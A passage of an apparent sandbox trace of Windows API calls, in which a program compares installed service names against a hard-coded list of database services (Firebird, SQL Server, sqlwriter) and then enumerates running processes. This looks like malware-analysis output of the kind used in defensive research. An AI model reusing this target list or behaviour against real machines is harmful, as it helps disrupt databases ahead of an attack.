(lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0181.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0181.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0181.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0181.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0181.302] lstrlenW (lpString="Dnscache") returned 8 [0181.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0181.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0181.302] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0181.302] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0181.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0181.302] lstrlenW (lpString="DPS") returned 3 [0181.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0181.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0181.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0181.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0181.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0181.302] lstrlenW (lpString="DsmSvc") returned 6 [0181.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0181.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0181.302] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0181.302] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0181.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0181.302] lstrlenW (lpString="DusmSvc") returned 7 [0181.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0181.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0181.303] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0181.303] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0181.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0181.303] lstrlenW (lpString="EventLog") returned 8 [0181.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0181.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0181.303] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0181.303] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0181.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0181.303] lstrlenW (lpString="EventSystem") returned 11 [0181.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0181.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0181.303] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0181.303] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0181.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0181.303] lstrlenW (lpString="FontCache") returned 9 [0181.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0181.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0181.303] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0181.303] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0181.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0181.303] lstrlenW (lpString="gpsvc") returned 5 [0181.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0181.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0181.303] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0181.303] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0181.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0181.303] lstrlenW (lpString="iphlpsvc") returned 8 [0181.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0181.303] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0181.303] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0181.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0181.304] lstrlenW (lpString="KeyIso") returned 6 [0181.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0181.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0181.304] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0181.304] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0181.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0181.304] lstrlenW (lpString="LanmanServer") returned 12 [0181.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0181.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0181.304] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0181.304] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0181.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0181.304] lstrlenW (lpString="LanmanWorkstation") returned 17 [0181.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0181.304] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0181.304] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0181.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0181.304] lstrlenW (lpString="lfsvc") returned 5 [0181.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0181.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0181.304] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0181.304] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0181.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0181.304] lstrlenW (lpString="lmhosts") returned 7 [0181.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0181.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0181.304] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0181.304] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0181.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0181.304] lstrlenW (lpString="LSM") returned 3 [0181.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0181.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0181.305] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0181.305] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0181.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0181.305] lstrlenW (lpString="MpsSvc") returned 6 [0181.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0181.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0181.305] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0181.305] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0181.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0181.305] lstrlenW (lpString="NcbService") returned 10 [0181.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0181.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0181.305] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0181.305] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0181.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0181.305] lstrlenW (lpString="netprofm") returned 8 [0181.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0181.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0181.305] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0181.305] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0181.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0181.305] lstrlenW (lpString="NgcSvc") returned 6 [0181.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0181.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0181.305] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0181.305] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0181.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0181.305] lstrlenW (lpString="NlaSvc") returned 6 [0181.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0181.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0181.305] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0181.305] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0181.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0181.306] lstrlenW (lpString="nsi") returned 3 [0181.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0181.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0181.306] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0181.306] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0181.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0181.306] lstrlenW (lpString="PcaSvc") returned 6 [0181.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0181.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0181.306] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0181.306] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0181.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0181.306] lstrlenW (lpString="PlugPlay") returned 8 [0181.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0181.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0181.306] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0181.306] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0181.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0181.306] lstrlenW (lpString="Power") returned 5 [0181.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0181.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0181.306] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0181.306] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0181.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0181.306] lstrlenW (lpString="ProfSvc") returned 7 [0181.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0181.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0181.306] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0181.306] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0181.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0181.306] lstrlenW (lpString="RpcEptMapper") returned 12 [0181.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0181.307] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0181.307] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0181.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0181.307] lstrlenW (lpString="RpcSs") returned 5 [0181.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0181.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0181.307] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0181.307] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0181.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0181.307] lstrlenW (lpString="SamSs") returned 5 [0181.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0181.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0181.307] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0181.307] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0181.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0181.307] lstrlenW (lpString="Schedule") returned 8 [0181.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0181.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0181.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0181.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0181.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0181.307] lstrlenW (lpString="SecurityHealthService") returned 21 [0181.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0181.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0181.307] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0181.307] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0181.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0181.307] lstrlenW (lpString="SENS") returned 4 [0181.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0181.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0181.307] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0181.307] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0181.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0181.308] lstrlenW (lpString="ShellHWDetection") returned 16 [0181.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0181.308] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0181.308] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0181.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0181.308] lstrlenW (lpString="Spooler") returned 7 [0181.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0181.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0181.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0181.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0181.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0181.308] lstrlenW (lpString="StateRepository") returned 15 [0181.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0181.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0181.308] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0181.308] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0181.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0181.308] lstrlenW (lpString="SysMain") returned 7 [0181.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0181.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0181.308] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0181.308] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0181.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0181.308] lstrlenW (lpString="SystemEventsBroker") returned 18 [0181.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0181.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0181.308] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0181.308] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0181.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0181.308] lstrlenW (lpString="Themes") returned 6 [0181.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0181.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0181.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0181.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0181.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0181.309] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0181.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0181.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0181.309] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0181.309] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0181.309] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x447ac10 | out: hHeap=0x420000) returned 1 [0181.309] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x45c [0181.390] Process32FirstW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.391] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0181.391] lstrlenW (lpString="System") returned 6 [0181.391] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0181.392] lstrlenW (lpString="smss.exe") returned 8 [0181.392] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.392] lstrlenW (lpString="csrss.exe") returned 9 [0181.392] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0181.393] lstrlenW (lpString="wininit.exe") returned 11 [0181.393] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0181.393] lstrlenW (lpString="csrss.exe") returned 9 [0181.393] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0181.393] lstrlenW (lpString="winlogon.exe") returned 12 [0181.393] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0181.394] lstrlenW (lpString="services.exe") returned 12 [0181.394] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0181.394] lstrlenW (lpString="lsass.exe") returned 9 [0181.394] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0181.395] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0181.395] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0181.395] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0181.395] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.396] lstrlenW (lpString="svchost.exe") returned 11 [0181.396] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.396] lstrlenW (lpString="svchost.exe") returned 11 [0181.396] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0181.396] lstrlenW (lpString="dwm.exe") returned 7 [0181.396] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.397] lstrlenW (lpString="svchost.exe") returned 11 [0181.397] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.397] lstrlenW (lpString="svchost.exe") returned 11 [0181.397] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.398] lstrlenW (lpString="svchost.exe") returned 11 [0181.398] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.398] lstrlenW (lpString="svchost.exe") returned 11 [0181.398] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.399] lstrlenW (lpString="svchost.exe") returned 11 [0181.399] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.399] lstrlenW (lpString="svchost.exe") returned 11 [0181.399] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.399] lstrlenW (lpString="svchost.exe") returned 11 [0181.399] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0181.400] lstrlenW (lpString="svchost.exe") returned 11 [0181.400] Process32NextW (in: hSnapshot=0x45c, lppe=0x249fd2c | out: 